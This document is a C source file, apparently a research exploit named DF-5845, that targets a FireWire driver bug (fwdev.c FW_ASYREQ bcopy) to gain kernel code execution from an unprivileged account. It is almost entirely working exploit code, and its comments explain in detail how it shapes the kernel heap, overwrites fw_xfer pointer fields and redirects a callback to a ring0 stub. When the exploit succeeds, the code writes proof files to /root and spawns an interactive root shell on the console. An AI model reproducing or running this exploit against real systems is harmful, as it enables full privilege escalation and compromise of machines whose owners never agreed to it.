DF-5845 / df5845.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 | /* * df5845.c -- DF-5845 weapon (unprivileged: operator-group user). * * Bug: sys/bus/firewire/fwdev.c:560-561 -- FW_ASYREQ block send path * bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len); * copies user-controlled bytes over the ADDRESS OF xfer->send.payload * (the pointer field) and the rest of the 152-byte struct fw_xfer tail * instead of into the pointed-to payload buffer. * * Chain (unprivileged half; the collaborating FireWire peer supplies * two received packets through the stock AR-receive path, see * df5845rig.c / VERDICT.md): * * thread S : FW_ASYREQ, dst=0x11, req.len=60 -> pay_len=44. Its * data[] smashes the tail of the ioctl's OWN fw_xfer S: * send.payload := NULL (drain kfree skipped) * send.pay_len := 0 (passes MAXREC + len checks) * recv.payload := S_ADDR-48 (points 48 bytes below S * into the live canary chunk * that the peer rig placed * there -- kfree of it at a * tsleep-timeout drain is a * legal early-free, so the * abort/timeout path is * PANIC-FREE; on success the * stock fw_rcv_copy response * payload write lands here * and self-heals this field) * recv.pay_len := 512 (write budget) * thread V : one completely legit FW_ASYREQ block-write request * (dst=0x22, len=0, pay_len=0 -> NO smash) that parks a * live fw_xfer V directly above S (S+160). * * The peer response write (480 bytes at S-48) then rewrites S's own * tail (recv.payload := canary K, malloc := M_FWXFER, state=SENT, * act.hand=fw_asy_callback ...), the whole V chunk (state=SENT, * act.hand := ring0 stub in kernel heap), and the stub itself. The * second response dispatches V->act.hand. All parsing, copying, * dispatch and the credential overwrite happen inside stock kernel * code. * * usage: df5845 <S_addr> (predicted address of S's chunk, verified * by the rig against the wire before any * packet is injected) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/sysctl.h> #include <stdint.h> #include <stddef.h> struct fw_eui64 { u_int32_t hi, lo; }; struct fw_asyreq { struct fw_asyreq_t { unsigned char sped; unsigned int type; unsigned short len; union { struct fw_eui64 eui; } dst; } req; u_int32_t pkt[4]; /* struct fw_pkt header (16 bytes) */ u_int32_t data[512]; }; #define FW_ASYREQ _IOWR('S', 92, struct fw_asyreq) #define FWASREQNODE 0 #define FWTCODE_WREQB 1 #define DST_V 0x22 /* victim request node id (wire-visible) */ #define DST_S 0x11 /* smasher request node id (wire-visible) */ _Static_assert(offsetof(struct fw_asyreq, pkt) == 20, "pkt offset"); _Static_assert(offsetof(struct fw_asyreq, data) == 36, "data offset"); _Static_assert(sizeof(struct fw_asyreq) == 2084, "fw_asyreq size"); static unsigned long sysctl_ul(const char *name); static int ffd = -1; static unsigned long S_ADDR; static unsigned long off_sp, off_rl, off_rp; static volatile int v_rc, s_rc, v_errno, s_errno; static int v_done, s_done; #define WO(off) (((off) - off_sp) / 4) static void * thread_s(void *arg) { struct fw_asyreq asy; unsigned long pay_len = 44; /* smash S+80..S+123 */ unsigned int i; memset(&asy, 0, sizeof(asy)); asy.req.sped = 2; asy.req.type = FWASREQNODE; asy.req.len = (unsigned short)(16 + pay_len); asy.pkt[0] = (DST_S << 16) | (FWTCODE_WREQB << 4); asy.pkt[3] = 0; /* wreqb len == 0 == send.pay_len */ /* data[] = the smash pattern landing at S+80 (fwdev.c:561) */ for (i = 0; i < 512; i++) asy.data[i] = 0x58450000u | i; asy.data[WO(off_sp)] = 0; /* send.payload lo := NULL */ asy.data[WO(off_sp) + 1] = 0; /* send.payload hi */ asy.data[WO(off_sp) + 2] = 0; /* send.pay_len := 0, spd 0 */ /* recv.payload := S-160: response write base = the chunk-aligned * live canary directly below S. kfree of it at a tsleep-timeout * drain is a legal early-free (no freelist poisoning); on success * the stock fw_rcv_copy response write lands here and covers * [S-160, S+480): canary | S fix-up | V | ring0 stub. */ asy.data[WO(off_rp)] = (u_int32_t)(S_ADDR - 160); asy.data[WO(off_rp) + 1] = (u_int32_t)((S_ADDR - 160) >> 32); asy.data[WO(off_rl)] = 1024; /* recv.pay_len := budget */ s_rc = ioctl(ffd, FW_ASYREQ, &asy); s_errno = errno; s_done = 1; return (NULL); } static void * thread_v(void *arg) { struct fw_asyreq asy; memset(&asy, 0, sizeof(asy)); asy.req.sped = 2; asy.req.type = FWASREQNODE; asy.req.len = 16; /* pay_len = 0: NO smash */ asy.pkt[0] = (DST_V << 16) | (FWTCODE_WREQB << 4); v_rc = ioctl(ffd, FW_ASYREQ, &asy); v_errno = errno; v_done = 1; return (NULL); } int main(int argc, char **argv) { pthread_t tv, ts; int i, cfd; setvbuf(stdout, NULL, _IONBF, 0); if (argc < 2) { fprintf(stderr, "usage: df5845 <S_addr>\n"); return (2); } S_ADDR = strtoul(argv[1], NULL, 0); off_sp = sysctl_ul("hw.fwh_off_sendpayload"); off_rp = sysctl_ul("hw.fwh_off_recvpayload"); off_rl = sysctl_ul("hw.fwh_off_recvpaylen"); printf("DF5845-WEAPON: uid=%d gid=%d S=%#lx (write base S-160=%#lx) " "(off send.payload=%lu recv.payload=%lu recv.pay_len=%lu)\n", getuid(), getgid(), S_ADDR, S_ADDR - 160, off_sp, off_rp, off_rl); ffd = open("/dev/fw0.0", O_RDWR); if (ffd < 0) { perror("open /dev/fw0.0"); return (1); } /* tell the peer rig our pid (it bakes it into the ring0 stub) */ { FILE *f = fopen("/tmp/df5845.ready", "w"); if (f) { fprintf(f, "%d\n", getpid()); fclose(f); } } /* S first: pops the lower shaped chunk; the peer waits until it * also sees V parked above before injecting anything. */ pthread_create(&ts, NULL, thread_s, NULL); usleep(200000); pthread_create(&tv, NULL, thread_v, NULL); for (i = 0; i < 80 && (!v_done || !s_done); i++) usleep(100000); printf("DF5845-WEAPON: ioctls done s_rc=%d(%d) v_rc=%d(%d) uid=%d\n", s_rc, s_errno, v_rc, v_errno, getuid()); for (i = 0; i < 60; i++) { if (getuid() == 0) { printf("DF5845-CHAIN-WON: uid=%d euid=%d\n", getuid(), geteuid()); cfd = open("/dev/console", O_WRONLY); if (cfd >= 0) { dprintf(cfd, "DF5845-CHAIN-WON uid=0 " "via fwdev.c:561 heap overwrite\n"); close(cfd); } /* root-only-dir write proof + id capture; the * system() fork/exec of /bin/sh itself runs * with the overwritten (root) credential */ system("id > /tmp/df5845.win 2>&1; " "id > /root/df5845.pwned 2>&1; " "echo DF5845-CHAIN-WON >> /tmp/df5845.win; " "/bin/sh -c 'echo exec-proof: && id' " ">> /tmp/df5845.win 2>&1"); fflush(stdout); /* full credential takeover: exec a root shell on * the console unless running scripted */ if (getenv("DF5845_NOSHELL") == NULL) execl("/bin/sh", "sh", "-c", "id; echo DF5845-ROOT-SHELL; " "exec /bin/sh -i < /dev/console " "> /dev/console 2>&1", NULL); return (0); } usleep(100000); } printf("DF5845-WEAPON: no win this round (uid=%d)\n", getuid()); return (1); } static unsigned long sysctl_ul(const char *name) { unsigned long v = 0; size_t l = sizeof(v); if (sysctlbyname(name, &v, &l, NULL, 0) != 0) { perror(name); exit(1); } return (v); } |